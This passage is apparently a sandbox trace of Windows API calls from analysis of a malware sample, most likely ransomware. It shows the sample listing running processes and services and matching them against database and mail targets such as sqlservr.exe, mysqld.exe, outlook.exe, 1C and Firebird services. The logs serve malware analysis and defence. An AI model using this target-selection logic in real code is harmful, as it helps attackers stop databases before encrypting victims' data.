19 [0033.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0033.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0033.238] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0033.238] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0033.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0033.238] lstrlenW (lpString="Winmgmt") returned 7 [0033.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0033.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0033.238] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0033.238] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0033.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0033.239] lstrlenW (lpString="WPDBusEnum") returned 10 [0033.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0033.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0033.239] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0033.239] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0033.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0033.239] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x6707d8 | out: hHeap=0x5f0000) returned 1 [0033.239] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x154 [0033.241] Process32FirstW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0033.242] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0033.243] lstrlenW (lpString="System") returned 6 [0033.243] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0033.243] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0033.243] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0033.243] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0033.243] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0033.243] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0033.243] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0033.243] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0033.244] lstrlenW (lpString="smss.exe") returned 8 [0033.244] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0033.244] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0033.244] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0033.244] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0033.244] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0033.244] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0033.244] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0033.244] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0033.245] lstrlenW (lpString="csrss.exe") returned 9 [0033.245] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0033.245] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0033.245] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0033.245] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0033.245] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0033.245] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0033.245] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0033.245] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0033.246] lstrlenW (lpString="wininit.exe") returned 11 [0033.246] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0033.246] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0033.246] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0033.246] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0033.246] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0033.246] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0033.246] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0033.246] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0033.247] lstrlenW (lpString="csrss.exe") returned 9 [0033.247] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0033.247] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0033.247] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0033.247] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0033.247] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0033.247] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0033.248] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0033.248] lstrlenW (lpString="winlogon.exe") returned 12 [0033.248] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0033.249] lstrlenW (lpString="services.exe") returned 12 [0033.249] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0033.250] lstrlenW (lpString="lsass.exe") returned 9 [0033.250] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0033.251] lstrlenW (lpString="lsm.exe") returned 7 [0033.251] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0033.252] lstrlenW (lpString="svchost.exe") returned 11 [0033.252] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0033.253] lstrlenW (lpString="svchost.exe") returned 11 [0033.253] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0033.253] lstrlenW (lpString="svchost.exe") returned 11 [0033.253] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0033.254] lstrlenW (lpString="svchost.exe") returned 11 [0033.254] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0033.255] lstrlenW (lpString="svchost.exe") returned 11 [0033.255] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0033.256] lstrlenW (lpString="audiodg.exe") returned 11 [0033.256] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0033.257] lstrlenW (lpString="svchost.exe") returned 11 [0033.257] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0033.258] lstrlenW (lpString="svchost.exe") returned 11 [0033.258] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0033.258] lstrlenW (lpString="dwm.exe") returned 7 [0033.258] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0033.260] lstrlenW (lpString="explorer.exe") returned 12 [0033.260] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0033.261] lstrlenW (lpString="spoolsv.exe") returned 11 [0033.261] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0033.261] lstrlenW (lpString="taskhost.exe") returned 12 [0033.261] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0033.262] lstrlenW (lpString="svchost.exe") returned 11 [0033.262] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0033.263] lstrlenW (lpString="taskeng.exe") returned 11 [0033.263] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0033.264] lstrlenW (lpString="taskhost.exe") returned 12 [0033.264] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations-breath.exe")) returned 1 [0033.265] lstrlenW (lpString="obligations-breath.exe") returned 22 [0033.265] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mirrors billion batch.exe")) returned 1 [0033.266] lstrlenW (lpString="mirrors billion batch.exe") returned 25 [0033.266] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieving.exe")) returned 1 [0033.266] lstrlenW (lpString="achieving.exe") returned 13 [0033.266] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="venice.exe")) returned 1 [0033.267] lstrlenW (lpString="venice.exe") returned 10 [0033.267] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="owns.exe")) returned 1 [0033.268] lstrlenW (lpString="owns.exe") returned 8 [0033.268] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="faster momentum.exe")) returned 1 [0033.269] lstrlenW (lpString="faster momentum.exe") returned 19 [0033.269] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vital_reasons.exe")) returned 1 [0033.270] lstrlenW (lpString="vital_reasons.exe") returned 17 [0033.270] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="everyone.exe")) returned 1 [0033.271] lstrlenW (lpString="everyone.exe") returned 12 [0033.271] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knife-matches-went.exe")) returned 1 [0033.271] lstrlenW (lpString="knife-matches-went.exe") returned 22 [0033.272] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bored_excluded.exe")) returned 1 [0033.272] lstrlenW (lpString="bored_excluded.exe") returned 18 [0033.272] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mothers.exe")) returned 1 [0033.273] lstrlenW (lpString="mothers.exe") returned 11 [0033.273] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="career-fed.exe")) returned 1 [0033.274] lstrlenW (lpString="career-fed.exe") returned 14 [0033.274] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-sv-infection.exe")) returned 1 [0033.276] lstrlenW (lpString="securities-sv-infection.exe") returned 27 [0033.276] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="initial_utilization.exe")) returned 1 [0033.277] lstrlenW (lpString="initial_utilization.exe") returned 23 [0033.277] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cf-represent.exe")) returned 1 [0033.278] lstrlenW (lpString="cf-represent.exe") returned 16 [0033.278] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tue.exe")) returned 1 [0033.279] lstrlenW (lpString="tue.exe") returned 7 [0033.279] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-lat-qualities.exe")) returned 1 [0033.280] lstrlenW (lpString="geo-lat-qualities.exe") returned 21 [0033.280] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distinctiondollardemographic.exe")) returned 1 [0033.280] lstrlenW (lpString="distinctiondollardemographic.exe") returned 32 [0033.280] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stuff_event.exe")) returned 1 [0033.281] lstrlenW (lpString="stuff_event.exe") returned 15 [0033.281] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="keywords-copies.exe")) returned 1 [0033.282] lstrlenW (lpString="keywords-copies.exe") returned 19 [0033.282] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lap.exe")) returned 1 [0033.283] lstrlenW (lpString="lap.exe") returned 7 [0033.283] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0033.284] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0033.284] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0033.285] lstrlenW (lpString="dllhost.exe") returned 11 [0033.285] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0033.285] lstrlenW (lpString="dllhost.exe") returned 11 [0033.285] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0033.286] lstrlenW (lpString="chrome64b.exe") returned 13 [0033.287] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0033.287] lstrlenW (lpString="cmd.exe") returned 7 [0033.287] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0033.288] lstrlenW (lpString="conhost.exe") returned 11 [0033.288] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0033.289] lstrlenW (lpString="mode.com") returned 8 [0033.289] Process32NextW (in: hSnapshot=0x154, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0033.289] CloseHandle (hObject=0x154) returned 1 [0033.289] Sleep (dwMilliseconds=0x1f4) [0033.993] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x66f818 [0033.993] EnumServicesStatusExW (in: hSCManager=0x66f818, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0034.020] GetLastError () returned 0xea [0034.020] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x11e4) returned 0x3eb01a0 [0034.020] EnumServicesStatusExW (in: hSCManager=0x66f818, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3eb01a0, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3eb01a0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0034.021] CloseServiceHandle (hSCObject=0x66f818) returned 1 [0034.021] lstrlenW (lpString="Appinfo") returned 7 [0034.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0034.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0034.021] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0034.021] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0034.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0034.021] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0034.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0034.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0034.021] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0034.021] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0034.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0034.021] lstrlenW (lpString="AudioSrv") returned 8 [0034.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0034.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0034.021] lstrcmpiW (lpString1="sqlwriter", 